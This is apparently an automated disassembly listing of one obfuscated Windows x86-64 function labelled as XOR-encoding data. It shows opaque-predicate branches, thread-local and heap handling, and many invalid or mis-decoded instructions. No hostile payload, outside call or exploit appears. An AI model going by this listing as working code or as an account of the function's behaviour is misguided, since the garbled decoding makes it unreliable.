Function at 0x1400a6160
Capabilities:
Encode data using xor

Disassembly:
push rbp
push r15
push r14
push r12
push rsi
push rdi
push rbx
sub rsp, 0x10
lea rbp, [rsp + 0x10]
mov rsi, rcx
mov eax, dword [0x141f3f1e0]
xor edx, edx
div dword [0x141f3f1e4]
add eax, 0x40b6fff0
or eax, 0x5dbebf7d
imul eax, eax, 0xafb99dcb
cmp eax, 0x962af7d
jb 0x1400a61e1
mov ecx, dword [0x141f3f1e8]
sub ecx, dword [0x141f3f1ec]
xor ecx, 0x18d6d538
add ecx, 0xaf6dab8f
and ecx, 0xdc97d77c
loope 0x1400a6232
xlatb
xchg edi, eax
fdivr qword [rax + 0x10]
call fcn.1400f4d10
sub rsp, rax
mov r14, rsp
mov eax, 0x10
call fcn.1400f4d10
sub rsp, rax
mov rbx, rsp
cmp ecx, 0xbb3c758b
jbe 0x1400a61fd
mov eax, 0x10
call fcn.1400f4d10
sub rsp, rax
mov eax, 0x10
call fcn.1400f4d10
sub rsp, rax
jmp 0x1400a619b
mov eax, dword [0x141f3f1f0]
xor edx, edx
div dword [0x141f3f1f4]
or eax, 0x753be036
add eax, 0x3f9d4797
invalid
or eax, 0x18cf0a23
cmp eax, 0x9492fd6c
jb 0x1400a6242
mov ecx, dword [0x141f3f1f8]
add ecx, dword [0x141f3f1fc]
or ecx, 0x41919db4
movzx eax, byte [0x141f48fd8]
cmp ecx, 0xc0c5a303
jne 0x1400a624b
movzx eax, byte [0x141f48fd8]
jmp 0x1400a6221
test al, al
je 0x1400a6750
xor eax, eax
nop word cs:[rax + rax]
test al, al
jne 0x1400a6260
mov eax, dword [0x141f4907c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rax, qword [rax + 0x60]
nop
mov ecx, dword [0x141f3f200]
sub ecx, dword [0x141f3f204]
xor ecx, 0x800040e0
and ecx, 0x9d3b7df1
imul ecx, ecx, 0x87e3156c
cmp ecx, 0xbbcd13d4
ja 0x1400a6280
cmp eax, 1
je 0x1400a6300
cmp eax, 2
je 0x1400a6750
test rax, rax
jne 0x1400a6e95
test eax, ebx
or eax, dword [rax]
invalid
sub rsp, 0x20
call fcn.140101800
add rsp, 0x20
nop word [rax + rax]
mov eax, dword [0x141f3f210]
add eax, dword [0x141f3f214]
shr eax, 1
call 0x109cacc2a
pop rdx
shr rax, 0x3c
or eax, 0x36787dc9
xor eax, 0x38db9f4
cmp eax, 0x11ca1664
jb 0x1400a62d0
nop word [rax + rax]
mov eax, dword [0x141f3f218]
mov ecx, dword [0x141f3f21c]
add eax, ecx
add eax, 0xbea715e1
xor eax, 0x22044401
and eax, 0x3275cc03
cmp eax, 0x5e2a449e
ja 0x1400a6300
mov eax, dword [0x141f4907c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r15, qword [rax + 0x68]
mov eax, dword [0x141f3f220]
imul eax, dword [0x141f3f224]
xor eax, 0x61e06469
mov ecx, 0x8a966e4d
imul rcx, rax
shr rcx, 0x3f
xor ecx, 0xe7402f49
cmp ecx, 0x2f87026d
jae 0x1400a6390
mov eax, dword [0x141f4907c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0x68], 0
add byte [rdi], cl
invalid
add byte [rax], 0
add byte [rax], al
mov eax, dword [0x141f3f228]
mov ecx, dword [0x141f3f22c]
add eax, ecx
add eax, 0x3fbf8c40
mov ecx, dword [0x141f4907c]
mov rdx, qword gs:[0x58]
and eax, 0x58
mov rcx, qword [rdx + rcx*8]
xor eax, 0xca86a2e0
mov qword [rcx + 0x68], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [0x1056af880], bh
ja 0x1400a6390
xor eax, eax
nop
test al, al
jne 0x1400a63d0
test r15, r15
je 0x1400a6750
lea rdi, [r15 + 0x10]
nop word cs:[rax + rax]
mov eax, dword [0x141f3f230]
xor eax, dword [0x141f3f234]
or eax, 0x2001002
and eax, 0x3cdd086
add eax, 0x10ca59ed
cmp eax, 0x448ddca8
ja 0x1400a63f0
mov cl, 1
xor eax, eax
lock cmpxchg byte [rdi], cl
jne 0x1400a6efd
mov eax, dword [0x141f3f238]
or eax, dword [0x141f3f23c]
imul eax, eax, 0x599f1388
add eax, 0xdbed09d0
cmp eax, 0x60875788
jae 0x1400a6445
lea rax, [r15 + 0x18]
mov qword [rbx], rax
lea rcx, [r15 + 0x18]
nop dword [rax]
mov eax, dword [0x141f3f240]
xor edx, edx
div dword [0x141f3f244]
add eax, 0x822d95fc
mov qword [rbx], rcx
cmp eax, 0x89d89b95
ja 0x1400a6450
mov eax, dword [0x141f3f248]
xor edx, edx
div dword [0x141f3f24c]
mov eax, 0xa03f951b
mov ecx, dword [0x141f3f250]
and ecx, dword [0x141f3f254]
xor ecx, 0x8002800
and ecx, 0xcd84ae61
imul rcx, rax
shr rcx, 0x3e
cmp ecx, 0x78eb7dbe
ja 0x1400a6480
mov qword [rbx + 8], 0
sub rsp, 0x20
lea rdx, [0x141f25620]
mov rcx, rbx
mov r8, rsi
call fcn.140055bc0
add rsp, 0x20
mov rcx, qword [rbx + 8]
test al, al
je 0x1400a6840
test rcx, rcx
je 0x1400a6f4a
mov eax, dword [0x141f3f2f8]
xor edx, edx
div dword [0x141f3f2fc]
mov eax, 0xa971a937
nop word cs:[rax + rax]
add byte [rax], al
invalid
mov edx, dword [0x141f3f300]
add edx, dword [0x141f3f304]
or edx, 0x83ea92cf
imul rdx, rax
shr rdx, 0x3d
add edx, 0x9be483e5
and esp, 0xffffff9b
cmp edx, 0xd1984c38
ja 0x1400a6500
mov eax, ecx
and eax, 3
lea rdx, [0x141f27340]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
lea rsi, [rcx - 1]
nop word cs:[rax + rax]
mov eax, dword [0x141f3f318]
imul eax, dword [0x141f3f31c]
imul eax, eax, 0x774759cc
cmp eax, 0x28b58d1
je 0x1400a6550
mov rbx, qword [rcx - 1]
mov eax, dword [0x141f3f320]
xor edx, edx
div dword [0x141f3f324]
nop dword [rax]
mov eax, dword [0x141f3f328]
add eax, dword [0x141f3f32c]
imul eax, eax, 0x5db3370b
or eax, 0xee16dc5f
imul eax, eax, 0x8eb270dc
cmp eax, 0x1fff7684
je 0x1400a6580
mov r14, qword [rcx + 7]
mov rax, qword [r14]
xor ecx, ecx
nop dword [rax]
test cl, cl
jne 0x1400a65b0
test rax, rax
je 0x1400a65fc
sub rsp, 0x20
mov rcx, rbx
call rax
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x141f3f330]
add eax, dword [0x141f3f334]
shr eax, 2
imul rax, rax, 0x4056fb87
shr rax, 0x3b
imul eax, eax, 0xa7d0a089
and eax, 0x65535e60
cmp eax, 0x1ade850c
je 0x1400a65d0
mov rcx, qword [r14 + 8]
mov eax, dword [0x141f3f338]
xor edx, edx
div dword [0x141f3f33c]
imul eax, eax, 0x8d597ed3
add eax, 0x73bb61d1
shr eax, 1
imul rax, rax, 0x219a499b
shr rax, 0x3b
cmp eax, 0xe013a258
ja 0x1400a6600
mov rax, qword [r14 + 0x10]
nop word cs:[rax + rax]
nop word cs:[rax + rax]
mov edx, dword [0x141f3f340]
add edx, dword [0x141f3f344]
imul edx, edx, 0x96039bba
xor edx, 0x52d344d2
cmp edx, 0xd0a0c172
ja 0x1400a6640
test rcx, rcx
je 0x1400a66cd
nop word cs:[rax + rax]
mov ecx, dword [0x141f3f348]
or ecx, dword [0x141f3f34c]
cmp ecx, 0x3da2cbb7
je 0x1400a6670
cmp rax, 0x11
jb 0x1400a66b3
mov rbx, qword [rbx - 8]
nop
mov eax, dword [0x141f3f350]
xor eax, dword [0x141f3f354]
or eax, 0xfff9bd2f
imul rax, rax, 0x42712823
shr rax, 0x3d
cmp eax, 0x601d1a5d
je 0x1400a6690
mov rcx, qword [0x141f49060]
sub rsp, 0x20
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov rbx, qword [0x141f49060]
xor eax, eax
test al, al
je 0x1400a66f0
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov r14, qword [sym.imp.KERNEL32.dll_HeapFree]
nop word [rax + rax]
mov eax, dword [0x141f3f358]
xor eax, dword [0x141f3f35c]
add eax, 0x6fe1906f
imul r12, rax, 0x8e68301
shr r12, 0x3b
or r12d, 0xe315538a
jrcxz 0x1400a676c
sub esp, 0x20
mov rcx, rbx
xor edx, edx
mov r8, rsi
call r14
add rsp, 0x20
cmp r12d, 0x437e7858
jb 0x1400a6700
jmp case.0x1400a653b.0
mov eax, dword [0x141f3f3b0]
and eax, dword [0x141f3f3b4]
imul eax, eax, 0x6a1686e9
xor eax, 0x47f5df5f
add eax, 0xde005aa5
cmp eax, 0xb2769afa
jb 0x1400a6750
mov eax, dword [0x141f4907c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rbx, qword [rax + 0x88]
test rbx, rbx
jne 0x1400a7203
mov eax, dword [0x141f4907c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x98]
mov ecx, dword [0x141f3f3b8]
or ecx, dword [0x141f3f3bc]
and ecx, 0x61102803
imul ecx, ecx, 0x32c11ccc
cmp ecx, 0x1480a13f
jb 0x1400a67b0
cmp eax, 1
jne 0x1400a6eb8
nop dword [rax]
mov eax, dword [0x141f3f3d0]
xor eax, dword [0x141f3f3d4]
add eax, 0xdb25d312
or eax, 0x108064c4
and eax, 0x39b464d4
cmp eax, 0x409d895
jb 0x1400a67e0
mov eax, dword [0x141f4907c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x90]
test rcx, rcx
jne 0x1400a703e
xor eax, eax
test al, al
je 0x1400a6fb2
jmp 0x1400a6fe9
mov eax, dword [0x141f3f258]
xor edx, edx
div dword [0x141f3f25c]
and eax, 0x832f8049
imul eax, eax, 0x40ea400f
add eax, 0x7baa5405
cmp eax, 0xca19a279
ja 0x1400a6840
test rcx, rcx
je case.0x1400a68a0.0
nop
mov eax, dword [0x141f3f260]
and eax, dword [0x141f3f264]
add eax, 0x800c1522
or eax, 0x4cf369cb
cmp eax, 0x4647153b
jb 0x1400a6870
mov eax, ecx
and eax, 3
lea rdx, [0x141f27330]
movsxd rax, dword [rdx + rax*4]
add rax, rdx
jmp rax
lea rsi, [rcx - 1]
xor eax, eax
nop dword [rax + rax]
test al, al
jne 0x1400a68b0
mov rbx, qword [rcx - 1]
nop dword [rax + rax]
mov eax, dword [0x141f3f278]
and eax, dword [0x141f3f27c]
or eax, 0xfa88e67c
add eax, 0xa4b7dac3
or eax, 0x5078ae90
cmp eax, 0x11334d6b
je 0x1400a68c0
mov r14, qword [rcx + 7]
nop word cs:[rax + rax]
mov eax, dword [0x141f3f280]
xor eax, dword [0x141f3f284]
imul eax, eax, 0xea178280
cmp eax, 0xaa0a3322
xor ecx, dword [rdx]
stosb byte [rdi], al
je 0x1400a68f0
mov rax, qword [r14]
test rax, rax
je 0x1400a6944
sub rsp, 0x20
mov rcx, rbx
call rax
add rsp, 0x20
nop
mov eax, dword [str.Me_S]
xor edx, edx
div dword [0x141f3f28c]
xor eax, 0xa2c486bf
add eax, 0xdefd69ea
or eax, 0x5bc5f76
cmp eax, 0xce5efc6a
je case.0x14009cb34.155
mov ecx, 0xbbb39c31
nop dword [rax]
mov eax, dword [0x141f3f290]
xor edx, edx
div dword [0x141f3f294]
or eax, 0x171bd8a0
imul rax, rcx
shr rax, 0x3f
imul eax, eax, 0xd6e9e528
cmp eax, 0x4e1b9116
sbb ecx, dword [rsi + 0x77]
invalid
nop dword [rax + rax]
mov eax, dword [0x141f3f298]
xor edx, edx
div dword [str.6_]
add eax, 0x4df9b006
mov al, 0xf9
imul rcx, rax, 0xf848029
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1e
xor eax, 0xc8d8a41a
cmp eax, 0x1ad601d2
jb 0x1400a6980
mov r8, qword [r14 + 8]
mov rcx, qword [r14 + 0x10]
nop dword [rax + rax]
mov eax, dword [0x141f3f2a0]
xor edx, edx
div dword [0x141f3f2a4]
or eax, 0x4d4a64c1
xor eax, 0x90ebc933
xor ecx, ecx
jmp 0x1400a6968
add eax, 0x3a8c243
cmp eax, 0x675d1c40
jb 0x1400a69c0
invalid
test r8, r8
je 0x1400a6a88
mov eax, 0xc0f71587
nop word cs:[rax + rax]
mov edx, dword [0x141f3f2a8]
imul edx, dword [0x141f3f2ac]
or edx, 0x9dc2ee2b
imul rdx, rax
shr rdx, 0x3f
or edx, 0xc4e34524
cmp edx, 0xf2b19d62
je 0x1400a6a00
cmp rcx, 0x11
jb 0x1400a6a6e
mov eax, dword [0x141f3f2b0]
sub eax, dword [0x141f3f2b4]
imul eax, eax, 0x5c6ab5c3
add eax, 0xe980f613
sub cl, 0x3d
ret
ret 0x3ef3
jb 0x1400a6a2f
mov rbx, qword [rbx - 8]
mov eax, dword [0x141f3f2b8]
or eax, dword [0x141f3f2bc]
xor eax, 0x806353
add byte [rax], 0x25
ja 0x1400a6ad8
cld
test al, 0x3d
push rax
mov dh, 0xc4
jo 0x1400a6ae1
invalid
mov rcx, qword [0x141f49060]
sub rsp, 0x20
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov eax, dword [0x141f3f2c0]
xor edx, edx
div dword [0x141f3f2c4]
imul eax, eax, 0x6942d271
add eax, 0x3d3326fe
and eax, 0x611c3582
sbb al, 0x61
cmp eax, 0x30d3e8d9
jne case.0x1400e9f35.96
mov rax, qword [0x141f49060]
nop word cs:[rax + rax]
mov eax, dword [0x141f3f2c8]
sub eax, dword [0x141f3f2cc]
xor eax, 0x3888128
mov byte [rbx], al
and eax, 0x4bae8b2e
add eax, 0xd648dec8
mov rbx, qword [0x141f49060]
cmp eax, 0xbcafc161
ja case.0x1400e9f35.96
xor eax, eax
test al, al
je 0x1400a6b05
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov r14, qword [sym.imp.KERNEL32.dll_HeapFree]
nop dword [rax]
mov eax, dword [0x141f3f2d0]
mov ecx, dword [0x141f3f2d4]
xchg ecx, ebp
add dword [rcx], eax
enter 0x7305, 0x6d
outsb dx, byte [rsi]
or eax, 0x4dfc690d
adc eax, 0xede0694c
loopne case.0x14008e50e.659
ret
xor ebx, dword [rcx + rcx*2 - 0x3f]
in al, dx
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
mov r8, rsi
call r14
call rsi
add rsp, 0x20
cmp r12d, 0xd083403a
ja 0x1400a6b10
nop
mov eax, dword [0x141f3f2d8]
xor eax, dword [0x141f3f2dc]
imul eax, eax, 0xa7387c
cmpsd dword [rsi], dword [rdi]
add byte [0x18c273d41], cl
cmp eax, 0x8643b520
je 0x1400a6b50
jmp case.0x1400a68a0.0
add byte [rax], al
add byte [rsi + 0x66], ah
nop word cs:[rax + rax]
mov eax, dword [0x141f3f308]
xor eax, dword [0x141f3f30c]
imul eax, eax, 0x13024aeb
or eax, 0xdd037ad5
and eax, 0xdfb7ffd7
fistp qword [0x10185b602]
jb case.0x1400a653b.3
nop word cs:[rax + rax]
mov eax, dword [0x141f3f310]
or eax, dword [0x141f3f314]
add eax, 0xd710347f
or eax, 0xa2cd87f3
cmp eax, 0x1653e3da
je case.0x1400a3526.15
jmp case.0x1400a653b.0
mov eax, dword [0x141f3f268]
xor edx, edx
div dword [0x141f3f26c]
or eax, 0xa63bb260
imul rax, rax, 0x680109c7
shr rax, 0x3e
cmp eax, 0x533f2d08
je case.0x1400a68a0.3
nop word cs:[rax + rax]
mov eax, dword [0x141f3f270]
imul eax, dword [0x141f3f274]
or eax, 0x19e339c0
cmp ebx, esp
sbb dword [rcx - 0x40], ebp
pop rbx
jle 0x1400a6c47
xchg ecx, eax
or eax, 0xc946ccad
cmp eax, 0xd2ee6c9f
out dx, al
sal byte [rdx - 0x24], cl
nop word cs:[rax + rax]
mov eax, dword [0x141f3f2f0]
mov ecx, dword [0x141f3f2f4]
add eax, ecx
add eax, 0xe46efb49
sti
outsb dx, byte [rsi]
in al, 0x25
cmp bh, al
jb 0x1400a6ca6
sti
outsb dx, byte [rsi]
in al, 0x25
cmp bh, al
jb 0x1400a6ca6
cmp eax, 0x150f3415
jae case.0x1400a68a0.0
xor ecx, ecx
xchg byte [rdi], cl
nop word cs:[rax + rax]
mov eax, dword [0x141f3f360]
xor edx, edx
div dword [0x141f3f364]
and eax, 0x2180bb4
or eax, 0x7945404a
xor eax, 0xb31a6cc8
cmp eax, 0xdf92ac72
ja 0x1400a6c70
cmp cl, 2
jne 0x1400a6d30
mov eax, dword [0x141f3f368]
imul eax, dword [0x141f3f36c]
or eax, 0xc59c9196
add eax, 0x1325a43a
cmp eax, 0xd9ffc260
invalid
ret 0xd9ff
jbe 0x1400a6ccc
ret 0xe986
sub rsp, 0x20
mov rcx, rdi
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
invalid
add byte [rax - 0x7d], cl
invalid
invalid
mov rsi, qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop word cs:[rax + rax]
mov eax, dword [0x141f3f370]
add eax, dword [0x141f3f374]
imul ebx, eax, 0x8aec7e8c
add ebx, 0x7307a78b
sub rsp, 0x20
mov rcx, rdi
call rsi
add rsp, 0x20
cmp ebx, 0x1c13e2cd
jb 0x1400a6ce0
nop dword [rax]
mov eax, dword [0x141f3f378]
imul eax, dword [0x141f3f37c]
imul eax, eax, 0xf008effb
add eax, 0x3ce83d12
cmp eax, 0x443d74ce
jb 0x1400a6d10
nop
mov eax, dword [0x141f3f380]
and eax, dword [0x141f3f384]
add eax, 0x1e98648
add eax, 0xd512323e
and eax, 0x44f82243
add eax, 0x5a42e785
cmp eax, 0xf874cc9e
ja 0x1400a6d30
mov eax, dword [0x141f4907c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0x68]
mov eax, dword [0x141f4907c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0x68], r15
nop word cs:[rax + rax]
mov eax, dword [0x141f3f388]
and eax, dword [0x141f3f38c]
or eax, 0xab2cd115
xor eax, 0xb316dc98
add eax, 0x4623dc0a
cmp eax, 0x8a836683
jb 0x1400a6d90
test rsi, rsi
je 0x1400a6f9a
mov rax, 0xffffffffffffffff
lock xadd qword [rsi], rax
nop word [rax + rax]
mov ecx, dword [0x141f3f390]
xor ecx, dword [0x141f3f394]
xor ecx, 0xdd3746e0
add ecx, 0x7c4302a4
cmp ecx, 0x85845198
ja 0x1400a6dd0
cmp rax, 1
jne 0x1400a6f9a
mov eax, dword [0x141f3f398]
and eax, dword [0x141f3f39c]
add eax, 0x297ed365
xor eax, 0x6e0196a
and eax, 0x17f0396b
cmp eax, 0x96f5ab48
jbe 0x1400a6e30
sub rsp, 0x20
mov rcx, rsi
call fcn.1400a5600
add rsp, 0x20
nop dword [rax]
mov edi, dword [0x141f3f3a0]
xor edi, dword [0x141f3f3a4]
xor edi, 0xc00757fc
add edi, 0xabeec1e3
xor edi, 0xb0b6d52c
sub rsp, 0x20
mov rcx, rsi
call fcn.1400a5600
add rsp, 0x20
cmp edi, 0x19435ee0
jb 0x1400a6e30
nop word cs:[rax + rax]
mov eax, dword [0x141f3f3a8]
xor edx, edx
div dword [0x141f3f3ac]
imul eax, eax, 0x29a73c74
or eax, 0xf9763ae5
cmp eax, 0x57f19424
jbe 0x1400a6e70
jmp 0x1400a6f9a
mov eax, dword [0x141f3f208]
imul eax, dword [0x141f3f20c]
add eax, 0x46b1fc0
and eax, 0x4d612ec
cmp eax, 0x8005cc3e
je 0x1400a6e95
jmp 0x1400a6f6f
test rax, rax
jne 0x1400a6f12
sub rsp, 0x20
call fcn.140100d30
add rsp, 0x20
mov eax, 0x8b0e3e19
nop
mov ecx, dword [0x141f3f3c8]
xor ecx, dword [0x141f3f3cc]
xor ecx, 0xa9e2b6d9
imul rcx, rax
shr rcx, 0x3d
or ecx, 0xdce9dfa
cmp ecx, 0x26b4a1d9
je 0x1400a6ed0
jmp 0x1400a67e0
sub rsp, 0x20
mov rcx, rdi
call fcn.140101410
add rsp, 0x20
jmp 0x1400a6420
cmp eax, 2
je 0x1400a6f6f
mov eax, dword [0x141f3f3c0]
xor eax, dword [0x141f3f3c4]
add eax, 0xf4d903e8
imul rcx, rax, 0x4b137fd1
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x19
or eax, 0x11bf1cb9
cmp eax, 0x50605440
ja 0x1400a6f17
jmp 0x1400a6f6f
mov eax, dword [0x141f3f2e0]
sub eax, dword [0x141f3f2e4]
and eax, 0x12632da1
imul eax, eax, 0x1b8c4b0b
and eax, 0x5012c618
cmp eax, 0x5ec94836
jbe 0x1400a6f71
jmp 0x1400a6f96
ud2
mov eax, dword [0x141f3f2e8]
xor eax, dword [str._A0_a]
imul eax, eax, 0x4d1cdc1
add eax, 0x3f34d18
or eax, 0x77a07f96
ud2
ud2
xor eax, eax
nop dword [rax]
test al, al
jne 0x1400a6fa0
mov rsp, rbp
pop rbx
pop rdi
pop rsi
pop r12
pop r14
pop r15
pop rbp
ret
mov eax, dword [0x141f3f3d8]
and eax, dword [0x141f3f3dc]
or eax, 0x5d11ace0
imul rdi, rax, 0x2840c677
shr rdi, 0x3c
or edi, 0x10e06378
sub rsp, 0x20
call fcn.140101030
add rsp, 0x20
cmp edi, 0xd756b10a
jbe 0x1400a6ff8
sub rsp, 0x20
call fcn.140101030
add rsp, 0x20
jmp 0x1400a6fb2
mov eax, dword [0x141f4907c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rcx, qword [rax + 0x90]
nop word cs:[rax + rax]
mov eax, dword [0x141f3f3e0]
sub eax, dword [0x141f3f3e4]
or eax, 0x397fcc94
imul eax, eax, 0x32f5d556
cmp eax, 0x4cd0c42c
je 0x1400a7020
mov eax, dword [0x141f3f3e8]
sub eax, dword [0x141f3f3ec]
imul rax, rax, 0x1fe38471
shr rax, 0x3c
cmp eax, 0x9d5664d3
jne 0x1400a7060
lock inc qword [rcx]
mov edx, dword [0x141f3f3f0]
imul edx, dword [0x141f3f3f4]
or edx, 0x49f3889
add edx, 0x666ce48c
and edx, 0x520a7bb
mov eax, 1
lock xadd qword [rcx], rax
cmp edx, 0x2a8e54c6
je 0x1400a7060
test rax, rax
js 0x1400a70e4
nop word cs:[rax + rax]
mov eax, dword [0x141f3f410]
or eax, dword [0x141f3f414]
imul eax, eax, 0x47dc5514
cmp eax, 0xacfe5669
je 0x1400a70a0
test rcx, rcx
je 0x1400a6f6f
mov eax, dword [str.r_bI_]
xor eax, dword [0x141f3f41c]
and eax, 0xdc797af8
add eax, 0x28b9bdc9
cmp eax, 0xe2094986
jbe 0x1400a7159
jmp 0x1400a718c
mov eax, dword [0x141f3f3f8]
xor edx, edx
div dword [0x141f3f3fc]
imul eax, eax, 0xc3bbc8e9
and eax, 0xf11fc555
cmp eax, 0xd937f4df
je 0x1400a7129
mov eax, dword [0x141f3f400]
xor eax, dword [0x141f3f404]
imul rax, rax, 0x4eee0e15
shr rax, 0x3e
or eax, 0xcb2e9e82
ud2
ud2
mov eax, dword [0x141f3f420]
mov edx, dword [0x141f3f424]
add edx, eax
add edx, 0x1636905d
or edx, 0x80420245
and edx, 0x8b4283c5
mov rbx, qword [rcx + 0x28]
lock dec qword [rcx]
sete al
cmp edx, 0x10e2b1d9
mov cl, 0xe2
adc byte [rbx + 0x14], dh
lock dec qword [rcx]
jmp 0x1400a7159
mov edx, dword [0x141f3f428]
imul edx, dword [0x141f3f42c]
and edx, 0x89d860ee
imul edx, edx, 0x2b265ba5
cmp edx, 0x6526bbf5
je 0x1400a71a0
test al, al
je 0x1400a7203
sub rsp, 0x20
call fcn.14007b600
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x141f3f430]
or eax, dword [0x141f3f434]
and eax, 0xdd16254d
imul eax, eax, 0xb2c6560c
add eax, 0xce5e5395
cmp eax, 0xb2f69bc6
ja 0x1400a71e0
mov eax, dword [0x141f3f438]
sub eax, dword [0x141f3f43c]
mov ecx, 0xae148189
imul rcx, rax
shr rcx, 0x3f
add ecx, 0x5090ca37
or ecx, 0xcf9b4b96
cmp ecx, 0x6c26cea9
jae 0x1400a7240
mov rax, qword [0x141f49020]
nop word [rax + rax]
invalid
mov eax, dword [0x141f3f440]
mov ecx, dword [0x141f3f444]
add ecx, eax
add ecx, 0xceb6bca5
or ecx, 0x778fb75d
mov rax, qword [0x141f49020]
cmp ecx, 0x614322cf
jb 0x1400a7240
cmp rbx, rax
jne 0x1400a7320
nop word cs:[rax + rax]
mov eax, dword [0x141f3f458]
and eax, dword [0x141f3f45c]
xor eax, 0x3db082ce
add eax, 0xcb014d61
and eax, 0x91d032c9
cmp eax, 0xa1b1e375
ja 0x1400a7280
mov eax, dword [0x141f49028]
nop dword [rax + rax]
mov ecx, dword [0x141f3f460]
xor ecx, dword [0x141f3f464]
imul ecx, ecx, 0x58cf7e1
add ecx, 0xda479d97
imul rdx, rcx, 0x3028a2d7
shr rdx, 0x20
sub ecx, edx
shr ecx, 1
add ecx, edx
shr ecx, 0x1e
cmp ecx, 0x5f5e16cc
ja 0x1400a72b0
nop word cs:[rax + rax]
mov ecx, dword [0x141f3f468]
sub ecx, dword [0x141f3f46c]
invalid
and ecx, 0x225100
add ecx, 0x8f1037c9
adc byte [rdi + 0x6c90f981], cl
jnp 0x1400a7381
invalid
cmp eax, 0xffffffff
je 0x1400a6f6f
inc eax
jmp 0x1400a7477
mov eax, dword [0x141f3f448]
imul eax, dword [0x141f3f44c]
and eax, 0x1f4788dd
invalid
cmp eax, 0xf91acb76
je 0x1400a736e
mov eax, dword [str.ALomi]
add eax, dword [0x141f3f454]
imul ecx, eax, 0x3170d487
add ecx, 0x6da215ef
or ecx, 0xa8ae80ae
mov dl, 1
xor eax, eax
lock cmpxchg byte [0x141f4902c], dl
sete al
cmp ecx, 0x52d4c1fe
jne 0x1400a737c
mov cl, 1
xor eax, eax
lock cmpxchg byte [0x141f4902c], cl
sbb al, 0xea
add ebx, ebp
invalid
test al, al
jne 0x1400a73f4
mov eax, dword [0x141f3f470]
or eax, dword [0x141f3f474]
imul eax, eax, 0x74179b41
or eax, 0x4c3745a0
mov ecx, 0xd1df5f49
imul rcx, rax
shr rcx, 0x3f
cmp ecx, 0xfda0314d
std
ja 0x1400a7669
lea rdi, [0x141f4902c]
mov r15d, dword [0x141f3f478]
imul r15d, dword [0x141f3f47c]
invalid
xor r15d, 0x140320f2
or r15d, 0xbd41505
add r15d, 0x3803ccae
sub rsp, 0x20
mov rcx, rdi
call fcn.140101410
add rsp, 0x20
cmp r15d, 0x37912afb
jb 0x1400a73b7
mov eax, dword [0x141f3f480]
and eax, dword [0x141f3f484]
or eax, 0xf05208c4
cmp eax, 0x6ebb400a
jne 0x1400a7420
mov qword [0x141f49020], rbx
nop word cs:[rax + rax]
mov eax, dword [0x141f3f488]
imul eax, dword [0x141f3f48c]
jmp 0xd0069931
jrcxz 0x1400a73cb
imul eax, eax, 0x7c0297cf
or eax, 0x2abb8978
mov qword [0x141f49020], rbx
cmp eax, 0x8c294941
invalid
invalid
ja 0x1400a7420
nop dword [rax + rax]
mov eax, dword [0x141f3f490]
xor eax, dword [0x141f3f494]
add eax, 0x7eb036b6
xor eax, 0x56569080
and eax, 0x5ed6d0a8
rcl dh, 1
pop rsi
cmp eax, 0xf977ad9d
je 0x1400a7450
mov eax, 1
mov dword [0x141f49028], eax
lea rax, [0x141f49020]
mov qword [r14], rax
mov qword [rbp - 0x10], r14
mov qword [rbp - 8], 0
add byte [rax], al
add byte [rax - 0x7d], cl
in al, dx
and byte [rax - 0x73], cl
adc eax, 0x1e7e152
lea rcx, [rbp - 0x10]
mov r8, rsi
call fcn.140055bc0
add rsp, 0x20
mov rbx, qword [rbp - 8]
test al, al
je 0x1400a74f2
test rbx, rbx
jne 0x1400a7567
ud2
test rbx, rbx
je case.0x1400a7563.0
nop word [rax + rax]
mov eax, dword [0x141f3f498]
or eax, dword [0x141f3f49c]
imul rax, rax, 0x218dc641
shr rax, 0x3d
call 0x187a3aa57
loop 0x1400a7567
add eax, 0xa3538756
cmp eax, 0x54af08c7
jb 0x1400a7500
mov ecx, ebx
and ecx, 3
nop dword [rax]
mov eax, dword [str.Qd_n]
xor edx, edx
div dword [0x141f3f4a4]
imul rax, rax, 0x48cc7925
shr rax, 0x3a
or eax, 0x95c207c5
cmp eax, 0x44ac1566
je 0x1400a7530
lea rax, [0x141f27350]
lea eax, [0x141f27350]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
xor ebx, ebx
invalid
xor eax, eax
test al, al
je 0x1400a777f
jmp 0x1400a77be
lea rsi, [rbx - 1]
nop word [rax + rax]
mov eax, dword [0x141f3f4c8]
sub eax, dword [0x141f3f4cc]
and eax, 0x1a6bac4c
imul eax, eax, 0x52a3e106
and eax, 0x242015a8
cmp eax, 0x422a2339
ja 0x1400a7580
mov rdi, qword [rbx - 1]
mov rbx, qword [rbx + 7]
mov r15, qword [rbx]
test r15, r15
je 0x1400a7700
mov eax, dword [0x141f3f4d0]
sub eax, dword [0x141f3f4d4]
mov ecx, 0xa9c89727
test eax, 0xc8af0f48
test eax, 0xc8af0f48
